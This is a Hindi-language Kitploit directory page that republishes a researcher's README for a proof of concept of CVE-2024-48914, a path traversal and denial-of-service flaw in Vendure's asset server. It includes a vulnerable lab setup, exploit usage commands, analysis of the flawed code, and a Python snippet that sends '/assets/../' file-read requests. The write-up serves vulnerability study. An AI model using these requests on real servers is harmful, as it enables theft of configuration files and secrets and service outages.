Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-48914 — vendure-ecommerce शोषण में मनमानी फ़ाइल पढ़ना और DoS | Kitploit
उपकरण/GitHubGitHub/eqstlab/cve-2024-48914
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणडेटा निष्कासनजानकारी एकत्र करनापेनिट्रेशन टेस्टिंग
GitHubeqstlab/cve-2024-48914

CVE-2024-48914

vendure-ecommerce शोषण में मनमानी फ़ाइल पढ़ना और DoS

रिपॉजिटरी देखें
51 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

यह पोस्ट EQSTLab द्वारा प्रकाशित एक शोध लेख है।

इस भेद्यता की खोज करने वाले Rajesh Sharma को धन्यवाद।

CVE-2024-48914

★ CVE-2024-48914 मनमाना फ़ाइल पढ़ना और DoS PoC ★

विवरण

CVE-2024-48914 : vendure-ecommerce मनमाना फ़ाइल पढ़ना और DoS भेद्यता

विवरण: Vendure एक ओपन-सोर्स हेडलेस कॉमर्स प्लेटफॉर्म है। संस्करण 3.0.5 और 2.3.3 से पहले, Vendure के एसेट सर्वर प्लगइन में एक भेद्यता एक हमलावर को एक अनुरोध तैयार करने की अनुमति देती है जो सर्वर फ़ाइल सिस्टम के माध्यम से नेविगेट कर सकता है और मनमानी फ़ाइलों की सामग्री प्राप्त कर सकता है, जिसमें संवेदनशील डेटा जैसे कॉन्फ़िगरेशन फ़ाइलें, पर्यावरण चर और सर्वर पर संग्रहीत अन्य महत्वपूर्ण डेटा शामिल हैं। उसी कोड पथ में, एक विकृत URI के माध्यम से सर्वर को क्रैश करने का एक अतिरिक्त वेक्टर भी है। संस्करण 3.0.5 और 2.3.3 में पैच उपलब्ध हैं। कुछ वर्कअराउंड भी उपलब्ध हैं। कोई व्यक्ति स्थानीय फ़ाइल सिस्टम के बजाय ऑब्जेक्ट स्टोरेज का उपयोग कर सकता है, जैसे MinIO या S3, या मिडलवेयर को परिभाषित कर सकता है जो /../ युक्त URL वाले अनुरोधों का पता लगाता है और उन्हें ब्लॉक करता है।

लैब सेटअप

भेद्य संस्करण डाउनलोड करें(v3.0.4):

शीर्ष-स्तरीय निर्भरताएँ स्थापित करें

root@kitploit:~
npm install

सभी पैकेज बनाएं

root@kitploit:~
npm run build

डेटाबेस और elasticsearch सेटअप करें

docker-compose.yml

root@kitploit:~
# This contains the services required to develop and test Vendure
# locally. It includes multiple SQL databases (for testing specific
# versions), Elasticsearch, Redis etc.
version: '3.7'
name: vendure-monorepo
services:
  mariadb:
    image: 'bitnami/mariadb:latest'
    container_name: mariadb
    environment:
      MARIADB_DATABASE: vendure-dev
      MARIADB_ROOT_USER: vendure
      MARIADB_ROOT_PASSWORD: password
    volumes:
      - 'mariadb_data:/bitnami'
    ports:
      - '3306:3306'
  mysql_8:
    image: bitnami/mysql:8.0
    container_name: mysql-8
    environment:
      MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
      MYSQL_DATABASE: vendure-dev
      MYSQL_ROOT_USER: vendure
      MYSQL_ROOT_PASSWORD: password
    volumes:
      - 'mysql_data:/bitnami'
    ports:
      - '3306:3306'
  mysql_5:
    image: bitnami/mysql:5.7
    container_name: mysql-5.7
    environment:
      MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
      MYSQL_DATABASE: vendure-dev
      MYSQL_ROOT_USER: vendure
      MYSQL_ROOT_PASSWORD: password
    volumes:
      - 'mysql_data:/bitnami'
    ports:
      - '3306:3306'
  postgres_12:
    image: postgres:12.3
    container_name: postgres_12
    environment:
      POSTGRES_DB: vendure-dev
      POSTGRES_USER: vendure
      POSTGRES_PASSWORD: password
      PGDATA: /var/lib/postgresql/data
    volumes:
      - postgres_12_data:/var/lib/postgresql/data
    ports:
      - "5432:5432"
    command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
  postgres_16:
    image: postgres:16
    container_name: postgres_16
    environment:
      POSTGRES_DB: vendure-dev
      POSTGRES_USER: vendure
      POSTGRES_PASSWORD: password
      PGDATA: /var/lib/postgresql/data
    volumes:
      - postgres_16_data:/var/lib/postgresql/data
    ports:
      - "5432:5432"
    command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
  # This is the Keycloak service which is used
  # to test the Keycloak auth strategy
  keycloak:
    image: quay.io/keycloak/keycloak
    ports:
      - "9000:8080"
    environment:
      KEYCLOAK_ADMIN: admin
      KEYCLOAK_ADMIN_PASSWORD: admin
    command:
      - start-dev
      - --import-realm
    volumes:
      - keycloak_data:/opt/keycloak/data
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:7.10.2
    container_name: elasticsearch
    environment:
      - discovery.type=single-node
      - bootstrap.memory_lock=true
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
    ulimits:
      memlock:
        soft: -1
        hard: -1
    volumes:
      - esdata:/usr/share/elasticsearch/data
    ports:
      - 9200:9200
  redis:
    image: bitnami/redis:7.4.1
    hostname: redis
    container_name: redis
    environment:
      - ALLOW_EMPTY_PASSWORD=yes
    ports:
      - "6379:6379"
volumes:
  postgres_16_data:
    driver: local
  postgres_12_data:
    driver: local
  mariadb_data:
    driver: local
  mysql_data:
    driver: local
  keycloak_data:
    driver: local
  esdata:
    driver: local

निष्पादित करने का आदेश

root@kitploit:~
docker-compose up -d mariadb
docker-compose up -d elasticsearch
cd packages/dev-server
npm run populate
npm run start

उपयोग कैसे करें

Git क्लोन

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-48914.git
cd CVE-2024-48914

पैकेज स्थापित करें

root@kitploit:~
pip install -r requirements.txt

आदेश

root@kitploit:~
# Arbitrary File Read (mode 1)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -f <FILE_TO_READ> -m 1
# Denial of Service (mode 2)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -m 2

आउटपुट

CVE-2024-48914.py (मनमाना फ़ाइल पढ़ना) alt text

CVE-2024-48914.py (DoS हमला) alt text alt text

विश्लेषण

vendure/packages/asset-server-plugin/src/plugin.ts

root@kitploit:~
 const decodedReqPath = decodeURIComponent(req.path);
        if (imageParamsString !== '') {
            const imageParamHash = this.md5(imageParamsString);
            return path.join(this.cacheDir, this.addSuffix(decodedReqPath, imageParamHash, imageFormat));
        } else {
            return decodedReqPath;
        }

भेद्यता का कारण path.join में decodedReqPath का सीधे उपयोग है, बिना किसी पथ सामान्यीकरण (यानी node.js में path.normalize) के। यह भेद्यता एक हमलावर को एक अनुरोध तैयार करने की अनुमति देती है जो सर्वर फ़ाइल सिस्टम के माध्यम से नेविगेट कर सकता है और मनमानी फ़ाइलों की सामग्री प्राप्त कर सकता है, जिसमें संवेदनशील डेटा जैसे कॉन्फ़िगरेशन फ़ाइलें, पर्यावरण चर और सर्वर पर संग्रहीत अन्य महत्वपूर्ण डेटा शामिल हैं।

Python टिप्स

जब python requests मॉड्यूल का उपयोग करते हैं, तो urlpath से '../' हटा दिया जाता है। यदि आप नीचे दिए गए अनुसार 'prepared requests' का उपयोग करते हैं, तो आप python requests मॉड्यूल का उपयोग urlpath से '../' हटाए बिना कर सकते हैं।

root@kitploit:~
def readFile(self) -> None:
        url = f"{self.url}/assets/../{self.file}"
        s = requests.Session()
        req = requests.Request(method='GET' ,url=url)
        prep = req.prepare()
        prep.url = url
        response = s.send(prep, verify=False)
...

अस्वीकरण

यह रिपॉजिटरी CVE-2024-48914 के लिए मनमाना फ़ाइल पढ़ने या DoS शोषण के रूप में अभिप्रेत नहीं है। इस परियोजना का उद्देश्य लोगों को इस भेद्यता के बारे में सीखने में मदद करना है, और संभवतः अपने स्वयं के अनुप्रयोगों का परीक्षण करना है।

संदर्भ

https://github.com/vendure-ecommerce/vendure/security/advisories/GHSA-r9mq-3c9r-fmjq https://github.com/vendure-ecommerce/vendure/tree/v3.0.4

टूल डाउनलोड करें